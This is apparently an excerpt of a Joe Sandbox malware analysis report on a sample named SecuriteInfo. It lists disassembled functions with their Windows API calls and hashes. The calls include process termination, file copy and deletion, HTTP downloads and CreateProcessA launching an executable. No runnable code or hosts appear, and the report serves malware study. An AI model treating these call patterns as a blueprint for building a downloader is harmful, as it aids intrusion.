Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: MemoryProcessThreadWrite$ContextResume
String ID: (
API String ID: 2723624206-3887548279
Opcode ID: 9dfaca63c1c36a7f4e7b83b250af3d04767bca9a96d7ab84965033658285a514
Instruction ID: e94e1a95d5afc0b89bd45b2977ccda30e35044b6a210756a4ea60f3865f4ce6f
Opcode Fuzzy Hash: 9dfaca63c1c36a7f4e7b83b250af3d04767bca9a96d7ab84965033658285a514
Instruction Fuzzy Hash: 1A114575A01209EFCB24CF58DC84FAAB7B9FF88325F108619EA1997250C734F955CB90

Function 002F92D0 Relevance: 7.8, APIs: 5, Instructions: 295filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Part of subcall function 00300B80: GetSystemTime.KERNEL32(?,02F46C20,003101E9,?,00000000,?,?,?,?,?,002F46E7,?,00000014), ref: 00300BA9

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF940: lstrcpy.KERNEL32(00000000,?), ref: 002FF981
Part of subcall function 002FF940: lstrcat.KERNEL32(00000000), ref: 002FF98D

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002F93AA
lstrlen.KERNEL32(00000000), ref: 002F95A5
lstrlen.KERNEL32(00000000), ref: 002F95B9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002F9374

Part of subcall function 002FF850: lstrcpy.KERNEL32(00000000), ref: 002FF878

Part of subcall function 003010F0: memset.MSVCRT ref: 0030110A
Part of subcall function 003010F0: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,?,002F727B,?), ref: 0030113D
Part of subcall function 003010F0: RtlAllocateHeap.NTDLL(00000000), ref: 00301144
Part of subcall function 003010F0: wsprintfW.USER32 ref: 00301153
Part of subcall function 003010F0: OpenProcess.KERNEL32(00001001,00000000), ref: 003011BB
Part of subcall function 003010F0: TerminateProcess.KERNEL32(00000000,00000000), ref: 003011CA
Part of subcall function 003010F0: CloseHandle.KERNEL32(00000000), ref: 003011D1

DeleteFileA.KERNEL32(00000000), ref: 002F962C

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileProcesslstrlen$CopyHeaplstrcat$AllocateCloseDeleteHandleOpenSystemTerminateTimememsetwsprintf
String ID:
API String ID: 1083493885-0
Opcode ID: 2d48446edc843fdc752f0f10f41fe6d0af15aaf4ed5dc6ae153946cbf03cd3b5
Instruction ID: 9eafc9cf331b5d3c575826808e9610b76b09e458790e5939e6eae2650392d330
Opcode Fuzzy Hash: 2d48446edc843fdc752f0f10f41fe6d0af15aaf4ed5dc6ae153946cbf03cd3b5
Instruction Fuzzy Hash: E0B1157192010D6BDB45FBB0DE66DFEB378AE54780F504138F60272291EF60AA68CF61

Function 002F9690 Relevance: 7.8, APIs: 5, Instructions: 264fileCOMMON

Download Yara Rule

APIs

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Part of subcall function 00300B80: GetSystemTime.KERNEL32(?,02F46C20,003101E9,?,00000000,?,?,?,?,?,002F46E7,?,00000014), ref: 00300BA9

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF940: lstrcpy.KERNEL32(00000000,?), ref: 002FF981
Part of subcall function 002FF940: lstrcat.KERNEL32(00000000), ref: 002FF98D

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002F976A
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002F9734

Part of subcall function 002FF850: lstrcpy.KERNEL32(00000000), ref: 002FF878

Part of subcall function 003010F0: memset.MSVCRT ref: 0030110A
Part of subcall function 003010F0: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,?,002F727B,?), ref: 0030113D
Part of subcall function 003010F0: RtlAllocateHeap.NTDLL(00000000), ref: 00301144
Part of subcall function 003010F0: wsprintfW.USER32 ref: 00301153
Part of subcall function 003010F0: OpenProcess.KERNEL32(00001001,00000000), ref: 003011BB
Part of subcall function 003010F0: TerminateProcess.KERNEL32(00000000,00000000), ref: 003011CA
Part of subcall function 003010F0: CloseHandle.KERNEL32(00000000), ref: 003011D1

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process$CopyFileHeaplstrcat$AllocateCloseHandleOpenSystemTerminateTimelstrlenmemsetwsprintf
String ID:
API String ID: 1739585374-0
Opcode ID: e9936d8bd5ad586065688de1f68c94e9cb22ef9fad24aa3c85658e74526a190c
Instruction ID: c76e153d2313420b32638f7236cca9208619d6461cd4ed7be8e4d99548e5a4b7
Opcode Fuzzy Hash: e9936d8bd5ad586065688de1f68c94e9cb22ef9fad24aa3c85658e74526a190c
Instruction Fuzzy Hash: BD91067192010D6BDB45FBB0DE56DFEB378AE54780F404138F60676291EF60AA68CF61

Function 0030A300 Relevance: 7.6, APIs: 5, Instructions: 116timeCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,00000000,?,?,?,0030BE47,?,?), ref: 0030A349
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,0030BE47,?,?), ref: 0030A376
GetLocalTime.KERNEL32(?,?,?,?,0030BE47,?,?), ref: 0030A3AC
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,0030BE47,?,?), ref: 0030A3BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0030A3F2

Part of subcall function 00309D90: GetFileInformationByHandle.KERNEL32(?,?,?), ref: 00309D9F

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$Time$Pointer$HandleInformationLocalSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 89576305-0
Opcode ID: 9b6e03711110aebd3583aa2862a7923cf977f531d4d48d8fb26b2af522de4ed8
Instruction ID: 28c43230083aff1829b9ee1867ae2dadfb6606eecffbf61d24f4d1c933d8582f
Opcode Fuzzy Hash: 9b6e03711110aebd3583aa2862a7923cf977f531d4d48d8fb26b2af522de4ed8
Instruction Fuzzy Hash: 804163B5500B04AFD725DF79D840AABBBF8FB48310F008A1EE99AC6690E770A544CB60

Function 00300F20 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(?,?), ref: 00300F2D
lstrcpyn.KERNEL32(0052AE18,?,00000000), ref: 00300F4B
lstrlen.KERNEL32(?), ref: 00300F5E
wsprintfA.USER32 ref: 00300F71

Strings

%s%s, xrefs: 00300F6B

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: eeb16c0882eb163ebcdff1d83f03519134a6e69277c8b8c605ee9354802bff50
Instruction ID: b5d7fd7737264755e84268a5cca0f4074cbf2a2f02c87e26863517f1decbffdf
Opcode Fuzzy Hash: eeb16c0882eb163ebcdff1d83f03519134a6e69277c8b8c605ee9354802bff50
Instruction Fuzzy Hash: 38F096732041196FEB204F5DEC48DA7BBACEFD9368B054125F91887341C770AC1686A1

Function 0030E500 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0030E50C

Part of subcall function 0030DA31: __getptd_noexit.LIBCMT ref: 0030DA34
Part of subcall function 0030DA31: __amsg_exit.LIBCMT ref: 0030DA41

__getptd.LIBCMT ref: 0030E523
__amsg_exit.LIBCMT ref: 0030E531
__lock.LIBCMT ref: 0030E541
__updatetlocinfoEx_nolock.LIBCMT ref: 0030E555

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 59c93aafb7bf661fc9be09fbe0fa019536ea9202ee73b68b4ba65401b6fe0d72
Instruction ID: ad7b001d08e7ba044240fd36d355d18e45dadf45592841814794733e04c94186
Opcode Fuzzy Hash: 59c93aafb7bf661fc9be09fbe0fa019536ea9202ee73b68b4ba65401b6fe0d72
Instruction Fuzzy Hash: F2F0F032B437009AD623BBB8A823B9D37A06F04324F114A09F814AF2C2DB6499418A69

Function 00301720 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 161processCOMMON

Download Yara Rule

APIs

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Part of subcall function 002FF850: lstrcpy.KERNEL32(00000000), ref: 002FF878

Part of subcall function 002F43E0: GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 002F441C
Part of subcall function 002F43E0: RtlAllocateHeap.NTDLL(00000000), ref: 002F4423
Part of subcall function 002F43E0: InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 002F4442
Part of subcall function 002F43E0: StrCmpCA.SHLWAPI(?,02F43058), ref: 002F445A
Part of subcall function 002F43E0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 002F4482
Part of subcall function 002F43E0: HttpOpenRequestA.WININET(00000000,GET,?,02F45FE0,00000000,00000000,-00400100,00000000), ref: 002F44BC
Part of subcall function 002F43E0: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 002F44E0
Part of subcall function 002F43E0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 002F44EF

Part of subcall function 00300B80: GetSystemTime.KERNEL32(?,02F46C20,003101E9,?,00000000,?,?,?,?,?,002F46E7,?,00000014), ref: 00300BA9

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF940: lstrcpy.KERNEL32(00000000,?), ref: 002FF981
Part of subcall function 002FF940: lstrcat.KERNEL32(00000000), ref: 002FF98D

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

Part of subcall function 00301280: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,?,00302B26,?), ref: 003012A0

memset.MSVCRT ref: 00301821
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00000000,?,00313418,?,?), ref: 00301884

Strings

.exe, xrefs: 0030176C
C:\Program Files (x86)\Internet Explorer\ielowutil.exe, xrefs: 003018D6

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcpy$Internet$CreateHeapHttpOpenProcessRequestlstrcat$AllocateConnectFileOptionSendSystemTimelstrlenmemset
String ID: .exe$C:\Program Files (x86)\Internet Explorer\ielowutil.exe
API String ID: 1306395318-2544896153
Opcode ID: 4822cf9ee542fc90070a472039b907a37f2688dedc05bffae7729ef961ed3c70
Instruction ID: 55b73a4b92e4c62ee93f627015f68bde05d9e54a31288667e567a55acaec2144
Opcode Fuzzy Hash: 4822cf9ee542fc90070a472039b907a37f2688dedc05bffae7729ef961ed3c70
Instruction Fuzzy Hash: 4651537192010C6ADB59FBB0DD66EFDB378AF54780F404139FA0166291EE70AA58CF60

Function 002FD8A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 002FD91C
std::_Xinvalid_argument.LIBCPMT ref: 002FD936
memcpy.MSVCRT(?,?,?), ref: 002FD98C

Part of subcall function 002FD700: std::_Xinvalid_argument.LIBCPMT ref: 002FD719
Part of subcall function 002FD700: std::_Xinvalid_argument.LIBCPMT ref: 002FD73A
Part of subcall function 002FD700: std::_Xinvalid_argument.LIBCPMT ref: 002FD755
Part of subcall function 002FD700: memcpy.MSVCRT(?,?,?), ref: 002FD7BD

Strings

string too long, xrefs: 002FD917, 002FD931

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
